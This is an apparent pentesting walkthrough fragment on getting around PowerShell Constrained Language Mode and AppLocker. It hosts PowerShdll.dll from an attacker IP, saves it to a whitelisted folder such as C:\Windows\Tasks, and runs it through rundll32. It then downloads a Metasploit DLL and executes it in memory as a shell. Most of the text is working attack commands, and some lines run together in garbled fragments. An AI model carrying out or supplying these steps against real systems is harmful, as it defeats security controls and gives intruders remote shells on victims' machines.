$ExecutionContext.SessionState.LanguageMode
, which should say ConstrainedLanguage
.python -m SimpleHTTPServer 80
Navigate to the following URL in IE where http://10.7.253.10/PowerShdll.dll
Save as -> PowerShdll.dll to whatever folder you like. C:\Windows\Tasks
is generally nice to use when Applocker is installed because it is usually whitelisted. But navigating to folders might also be restricted, so in certain ocassions you might need to save to C:\Users\Username\Desktop
rundll32 .\PowerShdll.dll,main -w
A new interactive powershell prompt should pop up
Verify that constrained language mode has been bypassed with
$ExecutionContext.SessionState.LanguageMode
It should say FullLanguageset Base64 false
and set Outfile shell
Now from the unrestricted powershell, download the shell and execute it straight into memory.rundll32 .\msf.dll,Control_RunDLL